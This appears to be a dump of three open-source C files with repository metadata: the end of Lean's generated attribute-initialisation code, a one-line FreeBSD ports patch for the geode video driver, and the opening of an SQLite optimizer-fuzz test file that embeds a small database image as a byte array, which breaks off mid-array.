l_Lean_instInhabitedAttributeExtensionState = _init_l_Lean_instInhabitedAttributeExtensionState();
lean_mark_persistent(l_Lean_instInhabitedAttributeExtensionState);
l_Lean_mkAttributeImplOfConstantUnsafe___closed__1 = _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__1();
lean_mark_persistent(l_Lean_mkAttributeImplOfConstantUnsafe___closed__1);
l_Lean_mkAttributeImplOfConstantUnsafe___closed__2 = _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__2();
lean_mark_persistent(l_Lean_mkAttributeImplOfConstantUnsafe___closed__2);
l_Lean_mkAttributeImplOfConstantUnsafe___closed__3 = _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__3();
lean_mark_persistent(l_Lean_mkAttributeImplOfConstantUnsafe___closed__3);
l_Lean_mkAttributeImplOfConstantUnsafe___closed__4 = _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__4();
lean_mark_persistent(l_Lean_mkAttributeImplOfConstantUnsafe___closed__4);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7);
l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8);
if (builtin) {res = l_Lean_initFn____x40_Lean_Attributes___hyg_4552_(lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
l_Lean_attributeExtension = lean_io_result_get_value(res);
lean_mark_persistent(l_Lean_attributeExtension);
lean_dec_ref(res);
}l_Lean_getBuiltinAttributeNames___closed__1 = _init_l_Lean_getBuiltinAttributeNames___closed__1();
lean_mark_persistent(l_Lean_getBuiltinAttributeNames___closed__1);
l_Lean_getBuiltinAttributeImpl___closed__1 = _init_l_Lean_getBuiltinAttributeImpl___closed__1();
lean_mark_persistent(l_Lean_getBuiltinAttributeImpl___closed__1);
l_Lean_isAttribute___closed__1 = _init_l_Lean_isAttribute___closed__1();
lean_mark_persistent(l_Lean_isAttribute___closed__1);
l_Lean_updateEnvAttributesImpl___closed__1 = _init_l_Lean_updateEnvAttributesImpl___closed__1();
lean_mark_persistent(l_Lean_updateEnvAttributesImpl___closed__1);
return lean_io_result_mk_ok(lean_box(0));
}
#ifdef __cplusplus
}
#endif
|
5f23da2035f33a5ce7500f996db6f83d4d38ce58
|
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
|
/x11-drivers/xf86-video-geode/files/patch-src_panel_panel.c
|
7a3aaa6480aa92c38abd61d5bd377276517991e0
|
[
"BSD-2-Clause"
] |
permissive
|
freebsd/freebsd-ports
|
86f2e89d43913412c4f6b2be3e255bc0945eac12
|
605a2983f245ac63f5420e023e7dce56898ad801
|
refs/heads/main
| 2023-08-30T21:46:28.720924
| 2023-08-30T19:33:44
| 2023-08-30T19:33:44
| 1,803,961
| 916
| 918
|
NOASSERTION
| 2023-09-08T04:06:26
| 2011-05-26T11:15:35
| null |
UTF-8
|
C
| false
| false
| 359
|
c
|
patch-src_panel_panel.c
|
--- src/panel/panel.c.orig 2019-09-20 16:17:28 UTC
+++ src/panel/panel.c
@@ -65,7 +65,7 @@ extern unsigned long gfx_detect_video(void);
#define PLATFORM_DORADO 1 /* Dorado + 9211 RevC */
#define PLATFORM_REDCLOUD 1 /* GX2 */
-unsigned char *XpressROMPtr;
+extern unsigned char *XpressROMPtr;
#include "pnl_init.c"
#include "pnl_bios.c"
|
26a3472db9e3684718f6089bf2545987710d3334
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/sqlite/src/test/optfuzz-db01.c
|
e11f15cc2e00006771e318cf400e1d355d692106
|
[
"BSD-3-Clause",
"Apache-2.0",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"blessing",
"LicenseRef-scancode-public-domain"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
| 2019-11-06T14:32:31
| null |
UTF-8
|
C
| false
| false
| 73,633
|
c
|
optfuzz-db01.c
|
/* content of file testdb01.db */
unsigned char data001[] = {
83, 81, 76,105,116,101, 32,102,111,114,109, 97,116, 32, 51, 0, 2, 0, 1,
1, 0, 64, 32, 32, 0, 0, 0, 2, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 31, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
2, 0, 46, 32,152, 5, 0, 0, 0, 7, 1,221, 0, 0, 0, 0, 35, 1,251,
1,246, 1,241, 1,236, 1,231, 1,226, 1,221, 84, 4, 7, 23, 17, 17, 1,
129, 19,116, 97, 98,108,101,116, 52,116, 52, 5, 67, 82, 69, 65, 84, 69, 32,
84, 65, 66, 76, 69, 32,116, 52, 40, 97, 32, 73, 78, 84, 32, 85, 78, 73, 81,
85, 69, 32, 78, 79, 84, 32, 78, 85, 76, 76, 44, 32, 98, 32, 73, 78, 84, 32,
85, 78, 73, 81, 85, 69, 32, 78, 79, 84, 32, 78, 85, 76, 76, 44, 99, 44,100,
44,101, 41, 35, 6, 6, 23, 55, 17, 1, 0,105,110,100,101,120,115,113,108,
105,116,101, 95, 97,117,116,111,105,110,100,101,120, 95,116, 52, 95, 50,116,
52, 7, 35, 5, 6, 23, 55, 17, 1, 0,105,110,100,101,120,115,113,108,105,
116,101, 95, 97,117,116,111,105,110,100,101,120, 95,116, 52, 95, 49,116, 52,
6, 42, 3, 6, 23, 17, 17, 1, 65,116, 97, 98,108,101,116, 51,116, 51, 4,
67, 82, 69, 65, 84, 69, 32, 84, 65, 66, 76, 69, 32,116, 51, 40, 97, 44, 98,
44, 99, 44,100, 44,101, 41, 95, 2, 7, 23, 17, 17, 1,129, 41,116, 97, 98,
108,101,116, 50,116, 50, 3, 67, 82, 69, 65, 84, 69, 32, 84, 65, 66, 76, 69,
32,116, 50, 40, 97, 32, 73, 78, 84, 44, 32, 98, 32, 73, 78, 84, 44, 32, 99,
32, 73, 78, 84, 44,100, 32, 73, 78, 84, 44,101, 32, 73, 78, 84, 44, 80, 82,
73, 77, 65, 82, 89, 32, 75, 69, 89, 40, 98, 44, 97, 41, 41, 87, 73, 84, 72,
79, 85, 84, 32, 82, 79, 87, 73, 68, 83, 1, 7, 23, 17, 17, 1,129, 17,116,
97, 98,108,101,116, 49,116, 49, 2, 67, 82, 69, 65, 84, 69, 32, 84, 65, 66,
76, 69, 32,116, 49, 40, 97, 32, 73, 78, 84, 69, 71, 69, 82, 32, 80, 82, 73,
77, 65, 0, 0, 0, 34, 32, 0, 0, 0, 33, 29, 0, 0, 0, 32, 26, 0, 0,
0, 31, 23, 0, 0, 0, 30, 19, 0, 0, 0, 11, 14, 0, 0, 0, 9, 7, 5,
0, 0, 0, 1, 1,251, 0, 0, 0, 0, 16, 1,251, 1,195, 1,180, 1,166,
1,151, 1,136, 1,121, 1,105, 1, 91, 1, 76, 1, 61, 1, 46, 1, 29, 1,
14, 0,252, 0,238, 0,224, 0,209, 0,194, 0,177, 0,157, 0,143, 0,128,
0,110, 0, 94, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 14, 28, 6, 0, 1, 1, 1, 23, 17, 67, 31,119,111,114,107,115, 14, 27,
6, 0, 1, 1, 1, 23, 22, 71, 3, 97,110,103,101,108, 16, 26, 6, 0, 1,
1, 1, 27, 40, 98, 17,109,111,114,110,105,110,103, 13, 25, 6, 0, 1, 1,
1, 21, 10, 7, 19,103,111,110,101, 12, 24, 6, 0, 1, 1, 9, 21, 43, 46,
119, 97,121,115, 18, 23, 6, 0, 1, 1, 1, 31, 6, 37, 31,115, 97, 99,114,
105,102,105, 99,101, 15, 22, 6, 0, 1, 1, 1, 25, 45, 71, 28,116,104,111,
117,103,104, 13, 21, 6, 0, 1, 1, 1, 21, 22, 92, 18,115,111,109,101, 13,
20, 6, 0, 9, 1, 1, 23, 2, 45, 97, 98,111,118,101, 12, 19, 6, 0, 1,
1, 8, 21, 4, 58,119, 97,121,115, 12, 18, 6, 0, 1, 1, 1, 19, 44, 19,
43,119, 97,114, 16, 17, 6, 0, 1, 1, 1, 27, 29, 74, 36, 98,101,116,119,
101,101,110, 13, 16, 6, 0, 1, 1, 1, 21, 44, 52, 19,112,111,111,114, 15,
15, 6, 0, 1, 1, 1, 25, 6, 3, 11,116,101,109,112,108,101, 13, 14, 6,
0, 1, 1, 1, 21, 35, 48, 27,100,105,101,100, 13, 13, 6, 0, 1, 1, 1,
21, 4, 21, 39,100,111,116,104, 13, 12, 6, 0, 1, 1, 1, 21, 4, 38, 36,
115,101,110,100, 12, 11, 6, 0, 1, 1, 1, 19, 13, 48, 22,115,105,120, 14,
10, 6, 0, 1, 1, 1, 23, 41, 89, 14,115,101,114,118,101, 13, 9, 6, 0,
8, 1, 1, 23, 16, 50, 98,101,103, 97,116, 13, 8, 6, 0, 1, 1, 1, 21,
42, 49, 34,115,101,110,100, 13, 7, 6, 0, 1, 1, 1, 21, 21, 91, 38,110,
101, 97,114, 12, 6, 6, 0, 1, 1, 1, 19, 2, 37, 11, 99, 97,110, 13, 5,
6, 0, 1, 1, 1, 21, 25, 27, 28,103,111,110,101, 13, 4, 6, 0, 1, 1,
1, 21, 41, 32, 35,110,101, 97,114, 14, 3, 6, 0, 1, 1, 1, 23, 32, 24,
26,115,101,114,118,101, 13, 2, 6, 0, 1, 1, 1, 21, 45, 14, 39,115, 97,
118,101, 13, 1, 6, 0, 1, 1, 1, 21, 40, 68, 0, 0, 0, 15, 28, 2, 0,
0, 0, 1, 1,238, 0, 0, 0, 0, 22, 1,238, 1,197, 1,181, 1,166, 1,
151, 1,137, 1,121, 1,104, 1, 84, 1, 73, 1, 59, 1, 41, 1, 26, 1, 11,
0,253, 0,238, 0,223, 0,207, 0,191, 0,175, 0,159, 0,144, 0,129, 0,
113, 0, 97, 0, 82, 0, 68, 0, 0, 13, 6, 1, 1, 1, 1, 19, 26, 34, 15,
20, 97,114,107, 14, 6, 1, 1, 1, 1, 21, 25, 5, 27, 28,103,111,110,101,
15, 6, 1, 1, 1, 1, 23, 22, 47, 16, 40, 97,110,103,101,114, 15, 6, 1,
1, 1, 1, 23, 22, 27, 71, 3, 97,110,103,101,108, 14, 6, 1, 1, 1, 1,
21, 22, 21, 92, 18,115,111,109,101, 14, 6, 1, 1, 1, 1, 21, 21, 7, 91,
38,110,101, 97,114, 15, 6, 1, 1, 1, 1, 23, 20, 42, 18, 5, 98,101,103,
97,116, 15, 6, 1, 1, 1, 1, 23, 17, 37, 66, 18,100,119,101,108,116, 15,
6, 1, 1, 1, 1, 23, 17, 28, 67, 31,119,111,114,107,115, 15, 6, 1, 1,
1, 8, 25, 16, 32, 7,112,108, 97, 99,101,115, 14, 6, 1, 1, 1, 1, 21,
16, 30, 81, 25,119, 97,108,107, 14, 6, 1, 1, 1, 1, 21, 14, 40, 30, 26,
115,101,110,100, 13, 6, 1, 1, 1, 1, 19, 13, 11, 48, 22,115,105,120, 14,
6, 1, 1, 1, 1, 21, 10, 38, 97, 34,115,104,101,119, 14, 6, 1, 1, 1,
1, 21, 10, 25, 7, 19,103,111,110,101, 17, 6, 1, 1, 1, 1, 27, 9, 50,
92, 29,116,104,101,114,101,105,110, 13, 6, 1, 1, 1, 1, 19, 9, 49, 51,
38,111,105,108, 10, 6, 1, 1, 1, 1, 0, 7, 33, 72, 31, 19, 6, 1, 1,
1, 1, 31, 6, 23, 37, 31,115, 97, 99,114,105,102,105, 99,101, 16, 6, 1,
1, 1, 1, 25, 6, 15, 3, 11,116,101,109,112,108,101, 15, 6, 1, 1, 1,
1, 23, 5, 43, 23, 41, 98,101,103, 97,116, 13, 6, 1, 1, 1, 8, 21, 4,
19, 58,119, 97,121,115, 14, 6, 1, 1, 1, 1, 21, 4, 13, 21, 39,100,111,
116,104, 14, 6, 1, 1, 1, 1, 21, 4, 12, 38, 36,115,101,110,100, 15, 6,
1, 1, 1, 1, 23, 3, 39, 21, 45, 98,101,103, 97,116, 13, 6, 1, 1, 1,
1, 19, 2, 6, 37, 11, 99, 97,110, 14, 6, 9, 1, 1, 1, 23, 20, 2, 45,
97, 98,111,118,101, 14, 6, 8, 1, 1, 1, 23, 36, 52, 17, 99,104, 0, 0,
0, 21, 13, 6, 1, 1, 1, 1, 19, 26, 34, 15, 20, 97,114,107, 13, 0, 0,
0, 35, 0, 92, 0, 1,244, 1,232, 1,216, 1,204, 1,186, 1,171, 1,160,
1,149, 1,138, 1,128, 1,117, 1,106, 1, 92, 1, 76, 1, 65, 1, 49, 1,
32, 1, 21, 1, 10, 0,255, 0,241, 0,225, 0,214, 0,203, 0,192, 0,180,
0,168, 0,156, 0,144, 0,132, 0,124, 0,116, 0,108, 0,100, 0, 92, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 35, 6, 0, 0, 0,
0, 0, 6, 34, 6, 0, 0, 0, 0, 0, 6, 33, 6, 0, 0, 0, 0, 0, 6,
32, 6, 0, 0, 0, 0, 0, 6, 31, 6, 0, 0, 0, 0, 0, 10, 30, 6, 1,
1, 1, 1, 0, 48, 37, 93, 7, 10, 29, 6, 1, 1, 1, 1, 0, 28, 17, 67,
31, 10, 28, 6, 1, 1, 1, 1, 0, 22, 45, 71, 28, 10, 27, 6, 1, 1, 1,
1, 0, 12, 4, 38, 36, 10, 26, 6, 1, 1, 1, 1, 0, 49, 9, 51, 38, 9,
25, 6, 1, 1, 1, 0, 0, 17, 29, 74, 9, 24, 6, 1, 1, 1, 0, 0, 47,
22, 16, 9, 23, 6, 1, 1, 1, 0, 0, 32, 16, 7, 14, 22, 6, 1, 1, 1,
0, 23, 42, 20, 18, 98,101,103, 97,116, 12, 21, 6, 1, 1, 1, 0, 19, 34,
26, 15, 97,114,107, 9, 20, 6, 1, 1, 0, 1, 0, 49, 9, 38, 9, 19, 6,
1, 1, 0, 1, 0, 44, 48, 9, 9, 18, 6, 1, 1, 0, 1, 0, 21, 22, 18,
15, 17, 6, 1, 1, 0, 1, 25, 35, 38, 22, 99,117, 98,105,116,115, 14, 16,
6, 1, 1, 0, 1, 23, 37, 17, 18,100,119,101,108,116, 9, 15, 6, 1, 0,
1, 1, 0, 49, 51, 38, 14, 14, 6, 1, 0, 1, 1, 23, 10, 89, 14,115,101,
114,118,101, 12, 13, 6, 9, 0, 1, 1, 21, 68, 32,100,111,116,104, 9, 12,
6, 1, 0, 1, 1, 0, 47, 16, 40, 9, 11, 6, 1, 0, 1, 1, 0, 25, 7,
19, 8, 10, 6, 0, 1, 1, 8, 0, 16, 7, 9, 9, 6, 0, 1, 1, 1, 0,
16, 81, 25, 9, 8, 6, 0, 1, 1, 1, 0, 7, 72, 31, 9, 7, 6, 0, 1,
1, 1, 0, 6, 37, 31, 13, 6, 6, 0, 1, 1, 1, 21, 21, 91, 38,110,101,
97,114, 16, 5, 6, 1, 1, 1, 1, 25, 15, 6, 3, 11,116,101,109,112,108,
101, 10, 4, 6, 1, 1, 1, 1, 0, 21, 22, 92, 18, 14, 3, 6, 1, 1, 1,
1, 21, 4, 41, 32, 35,110,101, 97,114, 10, 2, 6, 1, 1, 1, 1, 0, 46,
28, 88, 22, 10, 1, 6, 1, 1, 1, 1, 0, 17, 29, 74, 36, 13, 0, 0, 0,
15, 1, 71, 0, 1,243, 1,230, 1,217, 1,204, 1,191, 1,179, 1,167, 1,
155, 1,143, 1,131, 1,119, 1,107, 1, 95, 1, 83, 1, 71, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
10, 15, 6, 1, 1, 1, 1, 0, 48, 37, 93, 7, 10, 14, 6, 1, 1, 1, 1,
0, 22, 45, 71, 28, 10, 13, 6, 1, 1, 1, 1, 0, 12, 4, 38, 36, 10, 12,
6, 1, 1, 1, 0, 1, 32, 16, 7, 79, 10, 11, 6, 1, 1, 1, 0, 1, 42,
20, 18, 19, 10, 10, 6, 1, 1, 1, 0, 1, 34, 26, 15, 13, 10, 9, 6, 1,
1, 0, 1, 1, 49, 9, 38, 97, 10, 8, 6, 1, 1, 0, 1, 1, 44, 48, 9,
90, 10, 7, 6, 1, 1, 0, 1, 1, 35, 38, 22, 33, 10, 6, 6, 1, 1, 0,
1, 1, 37, 17, 18, 18, 11, 5, 6, 1, 1, 1, 1, 1, 15, 6, 3, 11, 43,
11, 4, 6, 1, 1, 1, 1, 1, 21, 22, 92, 18, 62, 11, 3, 6, 1, 1, 1,
1, 1, 4, 41, 32, 35, 36, 11, 2, 6, 1, 1, 1, 1, 1, 46, 28, 88, 22,
77, 11, 1, 6, 1, 1, 1, 1, 1, 17, 29, 74, 36, 61, 10, 0, 0, 0, 15,
1,167, 0, 1,250, 1,244, 1,238, 1,233, 1,227, 1,221, 1,215, 1,209,
1,203, 1,197, 1,191, 1,185, 1,179, 1,173, 1,167, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
5, 3, 1, 1, 49, 9, 5, 3, 1, 1, 48, 15, 5, 3, 1, 1, 46, 2, 5,
3, 1, 1, 44, 8, 5, 3, 1, 1, 42, 11, 5, 3, 1, 1, 37, 6, 5, 3,
1, 1, 35, 7, 5, 3, 1, 1, 34, 10, 5, 3, 1, 1, 32, 12, 5, 3, 1,
1, 22, 14, 5, 3, 1, 1, 21, 4, 4, 3, 1, 9, 17, 5, 3, 1, 1, 15,
5, 5, 3, 1, 1, 12, 13, 5, 3, 1, 1, 4, 3, 10, 0, 0, 0, 15, 1,
167, 0, 1,250, 1,244, 1,238, 1,232, 1,226, 1,220, 1,214, 1,208, 1,
202, 1,197, 1,191, 1,185, 1,179, 1,173, 1,167, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5,
3, 1, 1, 48, 8, 5, 3, 1, 1, 45, 14, 5, 3, 1, 1, 41, 3, 5, 3,
1, 1, 38, 7, 5, 3, 1, 1, 37, 15, 4, 3, 1, 9, 29, 5, 3, 1, 1,
28, 2, 5, 3, 1, 1, 26, 10, 5, 3, 1, 1, 22, 4, 5, 3, 1, 1, 20,
11, 5, 3, 1, 1, 17, 6, 5, 3, 1, 1, 16, 12, 5, 3, 1, 1, 9, 9,
5, 3, 1, 1, 6, 5, 5, 3, 1, 1, 4, 13, 5, 0, 0, 0, 2, 1,246,
0, 0, 0, 0, 27, 1,251, 1,246, 1,168, 1,148, 1,130, 1,107, 1, 86,
1, 65, 1, 44, 1, 27, 1, 14, 0,250, 0,224, 0,205, 0,184, 0,165, 0,
145, 0,123, 0,106, 0, 86, 0, 67, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 17, 23, 6, 0, 23, 1, 1, 21,107,110,111,119,110, 52, 19,112,
111,111,114, 18, 22, 6, 0, 23, 1, 1, 23, 97, 98,111,118,101, 24, 26,115,
101,114,118,101, 15, 21, 6, 0, 19, 1, 1, 21,119, 97,114, 52, 19,112,111,
111,114, 20, 20, 6, 0, 27, 1, 8, 25,110,111,116,104,105,110,103, 7,112,
108, 97, 99,101,115, 18, 19, 6, 0, 23, 1, 1, 23, 98,101,103, 97,116, 90,
27,116,114,117,116,104, 17, 18, 6, 0, 23, 1, 1, 21,100,119,101,108,116,
21, 39,100,111,116,104, 19, 17, 6, 0, 27, 1, 1, 21,109,111,114,110,105,
110,103, 52, 19,112,111,111,114, 17, 16, 6, 0, 21, 1, 1, 23,115,104,101,
119, 90, 27,116,114,117,116,104, 24, 15, 6, 0, 27, 1, 1, 31,116,104,101,
114,101,105,110, 37, 31,115, 97, 99,114,105,102,105, 99,101, 18, 14, 6, 0,
23, 1, 8, 25,115,109,111,116,101, 7,112,108, 97, 99,101,115, 11, 13, 6,
0, 19, 1, 1, 0, 97,114,107, 72, 31, 15, 12, 6, 0, 21, 1, 8, 21,119,
105,110,101, 58,119, 97,121,115, 19, 11, 6, 0, 21, 1, 1, 27,115,111,109,
101, 98, 17,109,111,114,110,105,110,103, 19, 10, 6, 0, 27, 1, 1, 21, 98,
101,116,119,101,101,110, 92, 18,115,111,109,101, 19, 9, 6, 0, 21, 1, 1,
27,115, 97,118,101, 74, 36, 98,101,116,119,101,101,110, 21, 8, 6, 0, 25,
1, 1, 27,116,104,111,117,103,104, 98, 17,109,111,114,110,105,110,103, 16,
7, 6, 0, 21, 1, 1, 21,115,101,110,100, 49, 34,115,101,110,100, 18, 6,
6, 0, 25, 1, 1, 21,119,105,115,100,111,109, 38, 36,115,101,110,100, 16,
5, 6, 0, 23, 1, 9, 21, 97,110,103,101,114, 46,119, 97,121,115, 14, 4,
6, 0, 19, 1, 1, 19, 99, 97,110, 19, 43,119, 97,114, 16, 3, 6, 0, 23,
1, 1, 19,111,102,102,101,114, 48, 22,115,105,120, 16, 2, 6, 0, 23, 1,
8, 21,119,111,114,107,115, 58,119, 97,121,115, 16, 1, 6, 0, 23, 1, 1,
19, 0, 0, 0, 26, 45, 0, 0, 0, 25, 23, 13, 0, 0, 0, 7, 0, 48, 0,
1,171, 1, 74, 1, 30, 0,126, 0,249, 0,212, 0, 48, 0, 81, 0, 0, 84,
4, 7, 23, 17, 17, 1,129, 19,116, 97, 98,108,101,116, 52,116, 52, 5, 67,
82, 69, 76, 7, 7, 23, 17, 17, 1,129, 3,116, 97, 98,108,101,116, 53,116,
53, 8, 67, 82, 69, 65, 84, 69, 32, 84, 65, 66, 76, 69, 32,116, 53, 40, 97,
32, 73, 78, 84, 69, 71, 69, 82, 32, 80, 82, 73, 77, 65, 82, 89, 32, 75, 69,
